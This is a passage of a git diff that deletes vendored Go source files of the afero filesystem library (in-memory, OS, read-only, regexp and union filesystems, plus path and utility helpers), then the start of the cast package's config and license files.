- } - } else { - item := mem.CreateDir(name) - m.getData()[name] = item - m.registerWithParent(item) - } - return nil -} - -func (m *MemMapFs) Mkdir(name string, perm os.FileMode) error { - name = normalizePath(name) - - m.mu.RLock() - _, ok := m.getData()[name] - m.mu.RUnlock() - if ok { - return &os.PathError{Op: "mkdir", Path: name, Err: ErrFileExists} - } - - m.mu.Lock() - item := mem.CreateDir(name) - m.getData()[name] = item - m.registerWithParent(item) - m.mu.Unlock() - - m.Chmod(name, perm) - - return nil -} - -func (m *MemMapFs) MkdirAll(path string, perm os.FileMode) error { - err := m.Mkdir(path, perm) - if err != nil { - if err.(*os.PathError).Err == ErrFileExists { - return nil - } else { - return err - } - } - return nil -} - -// Handle some relative paths -func normalizePath(path string) string { - path = filepath.Clean(path) - - switch path { - case ".": - return FilePathSeparator - case "..": - return FilePathSeparator - default: - return path - } -} - -func (m *MemMapFs) Open(name string) (File, error) { - f, err := m.open(name) - if f != nil { - return mem.NewReadOnlyFileHandle(f), err - } - return nil, err -} - -func (m *MemMapFs) openWrite(name string) (File, error) { - f, err := m.open(name) - if f != nil { - return mem.NewFileHandle(f), err - } - return nil, err -} - -func (m *MemMapFs) open(name string) (*mem.FileData, error) { - name = normalizePath(name) - - m.mu.RLock() - f, ok := m.getData()[name] - m.mu.RUnlock() - if !ok { - return nil, &os.PathError{Op: "open", Path: name, Err: ErrFileNotFound} - } - return f, nil -} - -func (m *MemMapFs) lockfreeOpen(name string) (*mem.FileData, error) { - name = normalizePath(name) - f, ok := m.getData()[name] - if ok { - return f, nil - } else { - return nil, ErrFileNotFound - } -} - -func (m *MemMapFs) OpenFile(name string, flag int, perm os.FileMode) (File, error) { - chmod := false - file, err := m.openWrite(name) - if os.IsNotExist(err) && (flag&os.O_CREATE > 0) { - file, err = m.Create(name) - chmod = true - } - if err != nil { - return nil, err - } - if flag == os.O_RDONLY { - file = mem.NewReadOnlyFileHandle(file.(*mem.File).Data()) - } - if flag&os.O_APPEND > 0 { - _, err = file.Seek(0, os.SEEK_END) - if err != nil { - file.Close() - return nil, err - } - } - if flag&os.O_TRUNC > 0 && flag&(os.O_RDWR|os.O_WRONLY) > 0 { - err = file.Truncate(0) - if err != nil { - file.Close() - return nil, err - } - } - if chmod { - m.Chmod(name, perm) - } - return file, nil -} - -func (m *MemMapFs) Remove(name string) error { - name = normalizePath(name) - - m.mu.Lock() - defer m.mu.Unlock() - - if _, ok := m.getData()[name]; ok { - err := m.unRegisterWithParent(name) - if err != nil { - return &os.PathError{Op: "remove", Path: name, Err: err} - } - delete(m.getData(), name) - } else { - return &os.PathError{Op: "remove", Path: name, Err: os.ErrNotExist} - } - return nil -} - -func (m *MemMapFs) RemoveAll(path string) error { - path = normalizePath(path) - m.mu.Lock() - m.unRegisterWithParent(path) - m.mu.Unlock() - - m.mu.RLock() - defer m.mu.RUnlock() - - for p, _ := range m.getData() { - if strings.HasPrefix(p, path) { - m.mu.RUnlock() - m.mu.Lock() - delete(m.getData(), p) - m.mu.Unlock() - m.mu.RLock() - } - } - return nil -} - -func (m *MemMapFs) Rename(oldname, newname string) error { - oldname = normalizePath(oldname) - newname = normalizePath(newname) - - if oldname == newname { - return nil - } - - m.mu.RLock() - defer m.mu.RUnlock() - if _, ok := m.getData()[oldname]; ok { - m.mu.RUnlock() - m.mu.Lock() - m.unRegisterWithParent(oldname) - fileData := m.getData()[oldname] - delete(m.getData(), oldname) - mem.ChangeFileName(fileData, newname) - m.getData()[newname] = fileData - m.registerWithParent(fileData) - m.mu.Unlock() - m.mu.RLock() - } else { - return &os.PathError{Op: "rename", Path: oldname, Err: ErrFileNotFound} - } - return nil -} - -func (m *MemMapFs) Stat(name string) (os.FileInfo, error) { - f, err := m.Open(name) - if err != nil { - return nil, err - } - fi := mem.GetFileInfo(f.(*mem.File).Data()) - return fi, nil -} - -func (m *MemMapFs) Chmod(name string, mode os.FileMode) error { - name = normalizePath(name) - - m.mu.RLock() - f, ok := m.getData()[name] - m.mu.RUnlock() - if !ok { - return &os.PathError{Op: "chmod", Path: name, Err: ErrFileNotFound} - } - - m.mu.Lock() - mem.SetMode(f, mode) - m.mu.Unlock() - - return nil -} - -func (m *MemMapFs) Chtimes(name string, atime time.Time, mtime time.Time) error { - name = normalizePath(name) - - m.mu.RLock() - f, ok := m.getData()[name] - m.mu.RUnlock() - if !ok { - return &os.PathError{Op: "chtimes", Path: name, Err: ErrFileNotFound} - } - - m.mu.Lock() - mem.SetModTime(f, mtime) - m.mu.Unlock() - - return nil -} - -func (m *MemMapFs) List() { - for _, x := range m.data { - y := mem.FileInfo{FileData: x} - fmt.Println(x.Name(), y.Size()) - } -} - -// func debugMemMapList(fs Fs) { -// if x, ok := fs.(*MemMapFs); ok { -// x.List() -// } -// } diff --git a/vendor/github.com/spf13/afero/memradix.go b/vendor/github.com/spf13/afero/memradix.go deleted file mode 100644 index 87527f35ad..0000000000 --- a/vendor/github.com/spf13/afero/memradix.go +++ /dev/null @@ -1,14 +0,0 @@ -// Copyright Š 2014 Steve Francia . -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package afero diff --git a/vendor/github.com/spf13/afero/os.go b/vendor/github.com/spf13/afero/os.go deleted file mode 100644 index 6b8bce1c50..0000000000 --- a/vendor/github.com/spf13/afero/os.go +++ /dev/null @@ -1,94 +0,0 @@ -// Copyright Š 2014 Steve Francia . -// Copyright 2013 tsuru authors. All rights reserved. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package afero - -import ( - "os" - "time" -) - -// OsFs is a Fs implementation that uses functions provided by the os package. -// -// For details in any method, check the documentation of the os package -// (http://golang.org/pkg/os/). -type OsFs struct{} - -func NewOsFs() Fs { - return &OsFs{} -} - -func (OsFs) Name() string { return "OsFs" } - -func (OsFs) Create(name string) (File, error) { - f, e := os.Create(name) - if f == nil { - // while this looks strange, we need to return a bare nil (of type nil) not - // a nil value of type *os.File or nil won't be nil - return nil, e - } - return f, e -} - -func (OsFs) Mkdir(name string, perm os.FileMode) error { - return os.Mkdir(name, perm) -} - -func (OsFs) MkdirAll(path string, perm os.FileMode) error { - return os.MkdirAll(path, perm) -} - -func (OsFs) Open(name string) (File, error) { - f, e := os.Open(name) - if f == nil { - // while this looks strange, we need to return a bare nil (of type nil) not - // a nil value of type *os.File or nil won't be nil - return nil, e - } - return f, e -} - -func (OsFs) OpenFile(name string, flag int, perm os.FileMode) (File, error) { - f, e := os.OpenFile(name, flag, perm) - if f == nil { - // while this looks strange, we need to return a bare nil (of type nil) not - // a nil value of type *os.File or nil won't be nil - return nil, e - } - return f, e -} - -func (OsFs) Remove(name string) error { - return os.Remove(name) -} - -func (OsFs) RemoveAll(path string) error { - return os.RemoveAll(path) -} - -func (OsFs) Rename(oldname, newname string) error { - return os.Rename(oldname, newname) -} - -func (OsFs) Stat(name string) (os.FileInfo, error) { - return os.Stat(name) -} - -func (OsFs) Chmod(name string, mode os.FileMode) error { - return os.Chmod(name, mode) -} - -func (OsFs) Chtimes(name string, atime time.Time, mtime time.Time) error { - return os.Chtimes(name, atime, mtime) -} diff --git a/vendor/github.com/spf13/afero/path.go b/vendor/github.com/spf13/afero/path.go deleted file mode 100644 index 1d90e46dd0..0000000000 --- a/vendor/github.com/spf13/afero/path.go +++ /dev/null @@ -1,108 +0,0 @@ -// Copyright Š2015 The Go Authors -// Copyright Š2015 Steve Francia -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package afero - -import ( - "os" - "path/filepath" - "sort" -) - -// readDirNames reads the directory named by dirname and returns -// a sorted list of directory entries. -// adapted from https://golang.org/src/path/filepath/path.go -func readDirNames(fs Fs, dirname string) ([]string, error) { - f, err := fs.Open(dirname) - if err != nil { - return nil, err - } - names, err := f.Readdirnames(-1) - f.Close() - if err != nil { - return nil, err - } - sort.Strings(names) - return names, nil -} - -// walk recursively descends path, calling walkFn -// adapted from https://golang.org/src/path/filepath/path.go -func walk(fs Fs, path string, info os.FileInfo, walkFn filepath.WalkFunc) error { - err := walkFn(path, info, nil) - if err != nil { - if info.IsDir() && err == filepath.SkipDir { - return nil - } - return err - } - - if !info.IsDir() { - return nil - } - - names, err := readDirNames(fs, path) - if err != nil { - return walkFn(path, info, err) - } - - for _, name := range names { - filename := filepath.Join(path, name) - fileInfo, err := lstatIfOs(fs, filename) - if err != nil { - if err := walkFn(filename, fileInfo, err); err != nil && err != filepath.SkipDir { - return err - } - } else { - err = walk(fs, filename, fileInfo, walkFn) - if err != nil { - if !fileInfo.IsDir() || err != filepath.SkipDir { - return err - } - } - } - } - return nil -} - -// if the filesystem is OsFs use Lstat, else use fs.Stat -func lstatIfOs(fs Fs, path string) (info os.FileInfo, err error) { - _, ok := fs.(*OsFs) - if ok { - info, err = os.Lstat(path) - } else { - info, err = fs.Stat(path) - } - return -} - -// Walk walks the file tree rooted at root, calling walkFn for each file or -// directory in the tree, including root. All errors that arise visiting files -// and directories are filtered by walkFn. The files are walked in lexical -// order, which makes the output deterministic but means that for very -// large directories Walk can be inefficient. -// Walk does not follow symbolic links. - -func (a Afero) Walk(root string, walkFn filepath.WalkFunc) error { - return Walk(a.Fs, root, walkFn) -} - -func Walk(fs Fs, root string, walkFn filepath.WalkFunc) error { - info, err := lstatIfOs(fs, root) - if err != nil { - return walkFn(root, nil, err) - } - return walk(fs, root, info, walkFn) -} diff --git a/vendor/github.com/spf13/afero/readonlyfs.go b/vendor/github.com/spf13/afero/readonlyfs.go deleted file mode 100644 index f1fa55bcf4..0000000000 --- a/vendor/github.com/spf13/afero/readonlyfs.go +++ /dev/null @@ -1,70 +0,0 @@ -package afero - -import ( - "os" - "syscall" - "time" -) - -type ReadOnlyFs struct { - source Fs -} - -func NewReadOnlyFs(source Fs) Fs { - return &ReadOnlyFs{source: source} -} - -func (r *ReadOnlyFs) ReadDir(name string) ([]os.FileInfo, error) { - return ReadDir(r.source, name) -} - -func (r *ReadOnlyFs) Chtimes(n string, a, m time.Time) error { - return syscall.EPERM -} - -func (r *ReadOnlyFs) Chmod(n string, m os.FileMode) error { - return syscall.EPERM -} - -func (r *ReadOnlyFs) Name() string { - return "ReadOnlyFilter" -} - -func (r *ReadOnlyFs) Stat(name string) (os.FileInfo, error) { - return r.source.Stat(name) -} - -func (r *ReadOnlyFs) Rename(o, n string) error { - return syscall.EPERM -} - -func (r *ReadOnlyFs) RemoveAll(p string) error { - return syscall.EPERM -} - -func (r *ReadOnlyFs) Remove(n string) error { - return syscall.EPERM -} - -func (r *ReadOnlyFs) OpenFile(name string, flag int, perm os.FileMode) (File, error) { - if flag&(os.O_WRONLY|syscall.O_RDWR|os.O_APPEND|os.O_CREATE|os.O_TRUNC) != 0 { - return nil, syscall.EPERM - } - return r.source.OpenFile(name, flag, perm) -} - -func (r *ReadOnlyFs) Open(n string) (File, error) { - return r.source.Open(n) -} - -func (r *ReadOnlyFs) Mkdir(n string, p os.FileMode) error { - return syscall.EPERM -} - -func (r *ReadOnlyFs) MkdirAll(n string, p os.FileMode) error { - return syscall.EPERM -} - -func (r *ReadOnlyFs) Create(n string) (File, error) { - return nil, syscall.EPERM -} diff --git a/vendor/github.com/spf13/afero/regexpfs.go b/vendor/github.com/spf13/afero/regexpfs.go deleted file mode 100644 index 9d92dbc051..0000000000 --- a/vendor/github.com/spf13/afero/regexpfs.go +++ /dev/null @@ -1,214 +0,0 @@ -package afero - -import ( - "os" - "regexp" - "syscall" - "time" -) - -// The RegexpFs filters files (not directories) by regular expression. Only -// files matching the given regexp will be allowed, all others get a ENOENT error ( -// "No such file or directory"). -// -type RegexpFs struct { - re *regexp.Regexp - source Fs -} - -func NewRegexpFs(source Fs, re *regexp.Regexp) Fs { - return &RegexpFs{source: source, re: re} -} - -type RegexpFile struct { - f File - re *regexp.Regexp -} - -func (r *RegexpFs) matchesName(name string) error { - if r.re == nil { - return nil - } - if r.re.MatchString(name) { - return nil - } - return syscall.ENOENT -} - -func (r *RegexpFs) dirOrMatches(name string) error { - dir, err := IsDir(r.source, name) - if err != nil { - return err - } - if dir { - return nil - } - return r.matchesName(name) -} - -func (r *RegexpFs) Chtimes(name string, a, m time.Time) error { - if err := r.dirOrMatches(name); err != nil { - return err - } - return r.source.Chtimes(name, a, m) -} - -func (r *RegexpFs) Chmod(name string, mode os.FileMode) error { - if err := r.dirOrMatches(name); err != nil { - return err - } - return r.source.Chmod(name, mode) -} - -func (r *RegexpFs) Name() string { - return "RegexpFs" -} - -func (r *RegexpFs) Stat(name string) (os.FileInfo, error) { - if err := r.dirOrMatches(name); err != nil { - return nil, err - } - return r.source.Stat(name) -} - -func (r *RegexpFs) Rename(oldname, newname string) error { - dir, err := IsDir(r.source, oldname) - if err != nil { - return err - } - if dir { - return nil - } - if err := r.matchesName(oldname); err != nil { - return err - } - if err := r.matchesName(newname); err != nil { - return err - } - return r.source.Rename(oldname, newname) -} - -func (r *RegexpFs) RemoveAll(p string) error { - dir, err := IsDir(r.source, p) - if err != nil { - return err - } - if !dir { - if err := r.matchesName(p); err != nil { - return err - } - } - return r.source.RemoveAll(p) -} - -func (r *RegexpFs) Remove(name string) error { - if err := r.dirOrMatches(name); err != nil { - return err - } - return r.source.Remove(name) -} - -func (r *RegexpFs) OpenFile(name string, flag int, perm os.FileMode) (File, error) { - if err := r.dirOrMatches(name); err != nil { - return nil, err - } - return r.source.OpenFile(name, flag, perm) -} - -func (r *RegexpFs) Open(name string) (File, error) { - dir, err := IsDir(r.source, name) - if err != nil { - return nil, err - } - if !dir { - if err := r.matchesName(name); err != nil { - return nil, err - } - } - f, err := r.source.Open(name) - return &RegexpFile{f: f, re: r.re}, nil -} - -func (r *RegexpFs) Mkdir(n string, p os.FileMode) error { - return r.source.Mkdir(n, p) -} - -func (r *RegexpFs) MkdirAll(n string, p os.FileMode) error { - return r.source.MkdirAll(n, p) -} - -func (r *RegexpFs) Create(name string) (File, error) { - if err := r.matchesName(name); err != nil { - return nil, err - } - return r.source.Create(name) -} - -func (f *RegexpFile) Close() error { - return f.f.Close() -} - -func (f *RegexpFile) Read(s []byte) (int, error) { - return f.f.Read(s) -} - -func (f *RegexpFile) ReadAt(s []byte, o int64) (int, error) { - return f.f.ReadAt(s, o) -} - -func (f *RegexpFile) Seek(o int64, w int) (int64, error) { - return f.f.Seek(o, w) -} - -func (f *RegexpFile) Write(s []byte) (int, error) { - return f.f.Write(s) -} - -func (f *RegexpFile) WriteAt(s []byte, o int64) (int, error) { - return f.f.WriteAt(s, o) -} - -func (f *RegexpFile) Name() string { - return f.f.Name() -} - -func (f *RegexpFile) Readdir(c int) (fi []os.FileInfo, err error) { - var rfi []os.FileInfo - rfi, err = f.f.Readdir(c) - if err != nil { - return nil, err - } - for _, i := range rfi { - if i.IsDir() || f.re.MatchString(i.Name()) { - fi = append(fi, i) - } - } - return fi, nil -} - -func (f *RegexpFile) Readdirnames(c int) (n []string, err error) { - fi, err := f.Readdir(c) - if err != nil { - return nil, err - } - for _, s := range fi { - n = append(n, s.Name()) - } - return n, nil -} - -func (f *RegexpFile) Stat() (os.FileInfo, error) { - return f.f.Stat() -} - -func (f *RegexpFile) Sync() error { - return f.f.Sync() -} - -func (f *RegexpFile) Truncate(s int64) error { - return f.f.Truncate(s) -} - -func (f *RegexpFile) WriteString(s string) (int, error) { - return f.f.WriteString(s) -} diff --git a/vendor/github.com/spf13/afero/unionFile.go b/vendor/github.com/spf13/afero/unionFile.go deleted file mode 100644 index 99f9e5db27..0000000000 --- a/vendor/github.com/spf13/afero/unionFile.go +++ /dev/null @@ -1,274 +0,0 @@ -package afero - -import ( - "io" - "os" - "path/filepath" - "syscall" -) - -// The UnionFile implements the afero.File interface and will be returned -// when reading a directory present at least in the overlay or opening a file -// for writing. -// -// The calls to -// Readdir() and Readdirnames() merge the file os.FileInfo / names from the -// base and the overlay - for files present in both layers, only those -// from the overlay will be used. -// -// When opening files for writing (Create() / OpenFile() with the right flags) -// the operations will be done in both layers, starting with the overlay. A -// successful read in the overlay will move the cursor position in the base layer -// by the number of bytes read. -type UnionFile struct { - base File - layer File - off int - files []os.FileInfo -} - -func (f *UnionFile) Close() error { - // first close base, so we have a newer timestamp in the overlay. If we'd close - // the overlay first, we'd get a cacheStale the next time we access this file - // -> cache would be useless ;-) - if f.base != nil { - f.base.Close() - } - if f.layer != nil { - return f.layer.Close() - } - return BADFD -} - -func (f *UnionFile) Read(s []byte) (int, error) { - if f.layer != nil { - n, err := f.layer.Read(s) - if (err == nil || err == io.EOF) && f.base != nil { - // advance the file position also in the base file, the next - // call may be a write at this position (or a seek with SEEK_CUR) - if _, seekErr := f.base.Seek(int64(n), os.SEEK_CUR); seekErr != nil { - // only overwrite err in case the seek fails: we need to - // report an eventual io.EOF to the caller - err = seekErr - } - } - return n, err - } - if f.base != nil { - return f.base.Read(s) - } - return 0, BADFD -} - -func (f *UnionFile) ReadAt(s []byte, o int64) (int, error) { - if f.layer != nil { - n, err := f.layer.ReadAt(s, o) - if (err == nil || err == io.EOF) && f.base != nil { - _, err = f.base.Seek(o+int64(n), os.SEEK_SET) - } - return n, err - } - if f.base != nil { - return f.base.ReadAt(s, o) - } - return 0, BADFD -} - -func (f *UnionFile) Seek(o int64, w int) (pos int64, err error) { - if f.layer != nil { - pos, err = f.layer.Seek(o, w) - if (err == nil || err == io.EOF) && f.base != nil { - _, err = f.base.Seek(o, w) - } - return pos, err - } - if f.base != nil { - return f.base.Seek(o, w) - } - return 0, BADFD -} - -func (f *UnionFile) Write(s []byte) (n int, err error) { - if f.layer != nil { - n, err = f.layer.Write(s) - if err == nil && f.base != nil { // hmm, do we have fixed size files where a write may hit the EOF mark? - _, err = f.base.Write(s) - } - return n, err - } - if f.base != nil { - return f.base.Write(s) - } - return 0, BADFD -} - -func (f *UnionFile) WriteAt(s []byte, o int64) (n int, err error) { - if f.layer != nil { - n, err = f.layer.WriteAt(s, o) - if err == nil && f.base != nil { - _, err = f.base.WriteAt(s, o) - } - return n, err - } - if f.base != nil { - return f.base.WriteAt(s, o) - } - return 0, BADFD -} - -func (f *UnionFile) Name() string { - if f.layer != nil { - return f.layer.Name() - } - return f.base.Name() -} - -// Readdir will weave the two directories together and -// return a single view of the overlayed directories -func (f *UnionFile) Readdir(c int) (ofi []os.FileInfo, err error) { - if f.off == 0 { - var files = make(map[string]os.FileInfo) - var rfi []os.FileInfo - if f.layer != nil { - rfi, err = f.layer.Readdir(-1) - if err != nil { - return nil, err - } - for _, fi := range rfi { - files[fi.Name()] = fi - } - } - - if f.base != nil { - rfi, err = f.base.Readdir(-1) - if err != nil { - return nil, err - } - for _, fi := range rfi { - if _, exists := files[fi.Name()]; !exists { - files[fi.Name()] = fi - } - } - } - for _, fi := range files { - f.files = append(f.files, fi) - } - } - if c == -1 { - return f.files[f.off:], nil - } - defer func() { f.off += c }() - return f.files[f.off:c], nil -} - -func (f *UnionFile) Readdirnames(c int) ([]string, error) { - rfi, err := f.Readdir(c) - if err != nil { - return nil, err - } - var names []string - for _, fi := range rfi { - names = append(names, fi.Name()) - } - return names, nil -} - -func (f *UnionFile) Stat() (os.FileInfo, error) { - if f.layer != nil { - return f.layer.Stat() - } - if f.base != nil { - return f.base.Stat() - } - return nil, BADFD -} - -func (f *UnionFile) Sync() (err error) { - if f.layer != nil { - err = f.layer.Sync() - if err == nil && f.base != nil { - err = f.base.Sync() - } - return err - } - if f.base != nil { - return f.base.Sync() - } - return BADFD -} - -func (f *UnionFile) Truncate(s int64) (err error) { - if f.layer != nil { - err = f.layer.Truncate(s) - if err == nil && f.base != nil { - err = f.base.Truncate(s) - } - return err - } - if f.base != nil { - return f.base.Truncate(s) - } - return BADFD -} - -func (f *UnionFile) WriteString(s string) (n int, err error) { - if f.layer != nil { - n, err = f.layer.WriteString(s) - if err == nil && f.base != nil { - _, err = f.base.WriteString(s) - } - return n, err - } - if f.base != nil { - return f.base.WriteString(s) - } - return 0, BADFD -} - -func copyToLayer(base Fs, layer Fs, name string) error { - bfh, err := base.Open(name) - if err != nil { - return err - } - defer bfh.Close() - - // First make sure the directory exists - exists, err := Exists(layer, filepath.Dir(name)) - if err != nil { - return err - } - if !exists { - err = layer.MkdirAll(filepath.Dir(name), 0777) // FIXME? - if err != nil { - return err - } - } - - // Create the file on the overlay - lfh, err := layer.Create(name) - if err != nil { - return err - } - n, err := io.Copy(lfh, bfh) - if err != nil { - // If anything fails, clean up the file - layer.Remove(name) - lfh.Close() - return err - } - - bfi, err := bfh.Stat() - if err != nil || bfi.Size() != n { - layer.Remove(name) - lfh.Close() - return syscall.EIO - } - - err = lfh.Close() - if err != nil { - layer.Remove(name) - lfh.Close() - return err - } - return layer.Chtimes(name, bfi.ModTime(), bfi.ModTime()) -} diff --git a/vendor/github.com/spf13/afero/util.go b/vendor/github.com/spf13/afero/util.go deleted file mode 100644 index 2f44e6a100..0000000000 --- a/vendor/github.com/spf13/afero/util.go +++ /dev/null @@ -1,331 +0,0 @@ -// Copyright Š2015 Steve Francia -// Portions Copyright Š2015 The Hugo Authors -// Portions Copyright 2016-present Bjørn Erik Pedersen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package afero - -import ( - "bytes" - "fmt" - "io" - "log" - "os" - "path/filepath" - "strings" - "unicode" - - "golang.org/x/text/transform" - "golang.org/x/text/unicode/norm" -) - -// Filepath separator defined by os.Separator. -const FilePathSeparator = string(filepath.Separator) - -// Takes a reader and a path and writes the content -func (a Afero) WriteReader(path string, r io.Reader) (err error) { - return WriteReader(a.Fs, path, r) -} - -func WriteReader(fs Fs, path string, r io.Reader) (err error) { - dir, _ := filepath.Split(path) - ospath := filepath.FromSlash(dir) - - if ospath != "" { - err = fs.MkdirAll(ospath, 0777) // rwx, rw, r - if err != nil { - if err != os.ErrExist { - log.Panicln(err) - } - } - } - - file, err := fs.Create(path) - if err != nil { - return - } - defer file.Close() - - _, err = io.Copy(file, r) - return -} - -// Same as WriteReader but checks to see if file/directory already exists. -func (a Afero) SafeWriteReader(path string, r io.Reader) (err error) { - return SafeWriteReader(a.Fs, path, r) -} - -func SafeWriteReader(fs Fs, path string, r io.Reader) (err error) { - dir, _ := filepath.Split(path) - ospath := filepath.FromSlash(dir) - - if ospath != "" { - err = fs.MkdirAll(ospath, 0777) // rwx, rw, r - if err != nil { - return - } - } - - exists, err := Exists(fs, path) - if err != nil { - return - } - if exists { - return fmt.Errorf("%v already exists", path) - } - - file, err := fs.Create(path) - if err != nil { - return - } - defer file.Close() - - _, err = io.Copy(file, r) - return -} - -func (a Afero) GetTempDir(subPath string) string { - return GetTempDir(a.Fs, subPath) -} - -// GetTempDir returns the default temp directory with trailing slash -// if subPath is not empty then it will be created recursively with mode 777 rwx rwx rwx -func GetTempDir(fs Fs, subPath string) string { - addSlash := func(p string) string { - if FilePathSeparator != p[len(p)-1:] { - p = p + FilePathSeparator - } - return p - } - dir := addSlash(os.TempDir()) - - if subPath != "" { - // preserve windows backslash :-( - if FilePathSeparator == "\\" { - subPath = strings.Replace(subPath, "\\", "____", -1) - } - dir = dir + UnicodeSanitize((subPath)) - if FilePathSeparator == "\\" { - dir = strings.Replace(dir, "____", "\\", -1) - } - - if exists, _ := Exists(fs, dir); exists { - return addSlash(dir) - } - - err := fs.MkdirAll(dir, 0777) - if err != nil { - panic(err) - } - dir = addSlash(dir) - } - return dir -} - -// Rewrite string to remove non-standard path characters -func UnicodeSanitize(s string) string { - source := []rune(s) - target := make([]rune, 0, len(source)) - - for _, r := range source { - if unicode.IsLetter(r) || - unicode.IsDigit(r) || - unicode.IsMark(r) || - r == '.' || - r == '/' || - r == '\\' || - r == '_' || - r == '-' || - r == '%' || - r == ' ' || - r == '#' { - target = append(target, r) - } - } - - return string(target) -} - -// Transform characters with accents into plan forms -func NeuterAccents(s string) string { - t := transform.Chain(norm.NFD, transform.RemoveFunc(isMn), norm.NFC) - result, _, _ := transform.String(t, string(s)) - - return result -} - -func isMn(r rune) bool { - return unicode.Is(unicode.Mn, r) // Mn: nonspacing marks -} - -func (a Afero) FileContainsBytes(filename string, subslice []byte) (bool, error) { - return FileContainsBytes(a.Fs, filename, subslice) -} - -// Check if a file contains a specified byte slice. -func FileContainsBytes(fs Fs, filename string, subslice []byte) (bool, error) { - f, err := fs.Open(filename) - if err != nil { - return false, err - } - defer f.Close() - - return readerContainsAny(f, subslice), nil -} - -func (a Afero) FileContainsAnyBytes(filename string, subslices [][]byte) (bool, error) { - return FileContainsAnyBytes(a.Fs, filename, subslices) -} - -// Check if a file contains any of the specified byte slices. -func FileContainsAnyBytes(fs Fs, filename string, subslices [][]byte) (bool, error) { - f, err := fs.Open(filename) - if err != nil { - return false, err - } - defer f.Close() - - return readerContainsAny(f, subslices...), nil -} - -// readerContains reports whether any of the subslices is within r. -func readerContainsAny(r io.Reader, subslices ...[]byte) bool { - - if r == nil || len(subslices) == 0 { - return false - } - - largestSlice := 0 - - for _, sl := range subslices { - if len(sl) > largestSlice { - largestSlice = len(sl) - } - } - - if largestSlice == 0 { - return false - } - - bufflen := largestSlice * 4 - halflen := bufflen / 2 - buff := make([]byte, bufflen) - var err error - var n, i int - - for { - i++ - if i == 1 { - n, err = io.ReadAtLeast(r, buff[:halflen], halflen) - } else { - if i != 2 { - // shift left to catch overlapping matches - copy(buff[:], buff[halflen:]) - } - n, err = io.ReadAtLeast(r, buff[halflen:], halflen) - } - - if n > 0 { - for _, sl := range subslices { - if bytes.Contains(buff, sl) { - return true - } - } - } - - if err != nil { - break - } - } - return false -} - -func (a Afero) DirExists(path string) (bool, error) { - return DirExists(a.Fs, path) -} - -// DirExists checks if a path exists and is a directory. -func DirExists(fs Fs, path string) (bool, error) { - fi, err := fs.Stat(path) - if err == nil && fi.IsDir() { - return true, nil - } - if os.IsNotExist(err) { - return false, nil - } - return false, err -} - -func (a Afero) IsDir(path string) (bool, error) { - return IsDir(a.Fs, path) -} - -// IsDir checks if a given path is a directory. -func IsDir(fs Fs, path string) (bool, error) { - fi, err := fs.Stat(path) - if err != nil { - return false, err - } - return fi.IsDir(), nil -} - -func (a Afero) IsEmpty(path string) (bool, error) { - return IsEmpty(a.Fs, path) -} - -// IsEmpty checks if a given file or directory is empty. -func IsEmpty(fs Fs, path string) (bool, error) { - if b, _ := Exists(fs, path); !b { - return false, fmt.Errorf("%q path does not exist", path) - } - fi, err := fs.Stat(path) - if err != nil { - return false, err - } - if fi.IsDir() { - f, err := fs.Open(path) - if err != nil { - return false, err - } - defer f.Close() - list, err := f.Readdir(-1) - return len(list) == 0, nil - } - return fi.Size() == 0, nil -} - -func (a Afero) Exists(path string) (bool, error) { - return Exists(a.Fs, path) -} - -// Check if a file or directory exists. -func Exists(fs Fs, path string) (bool, error) { - _, err := fs.Stat(path) - if err == nil { - return true, nil - } - if os.IsNotExist(err) { - return false, nil - } - return false, err -} - -func FullBaseFsPath(basePathFs *BasePathFs, relativePath string) string { - combinedPath := filepath.Join(basePathFs.path, relativePath) - if parent, ok := basePathFs.source.(*BasePathFs); ok { - return FullBaseFsPath(parent, combinedPath) - } - - return combinedPath -} diff --git a/vendor/github.com/spf13/cast/.gitignore b/vendor/github.com/spf13/cast/.gitignore deleted file mode 100644 index 53053a8ac5..0000000000 --- a/vendor/github.com/spf13/cast/.gitignore +++ /dev/null @@ -1,25 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -*.exe -*.test - -*.bench diff --git a/vendor/github.com/spf13/cast/.travis.yml b/vendor/github.com/spf13/cast/.travis.yml deleted file mode 100644 index 4da9766841..0000000000 --- a/vendor/github.com/spf13/cast/.travis.yml +++ /dev/null @@ -1,14 +0,0 @@ -language: go -sudo: required -go: - - 1.7.5 - - 1.8 - - tip -os: - - linux -matrix: - allow_failures: - - go: tip - fast_finish: true -script: - - make check diff --git a/vendor/github.com/spf13/cast/LICENSE b/vendor/github.com/spf13/cast/LICENSE deleted file mode 100644 index 4527efb9c0..0000000000 --- a/vendor/github.com/spf13/cast/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Steve Francia - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, 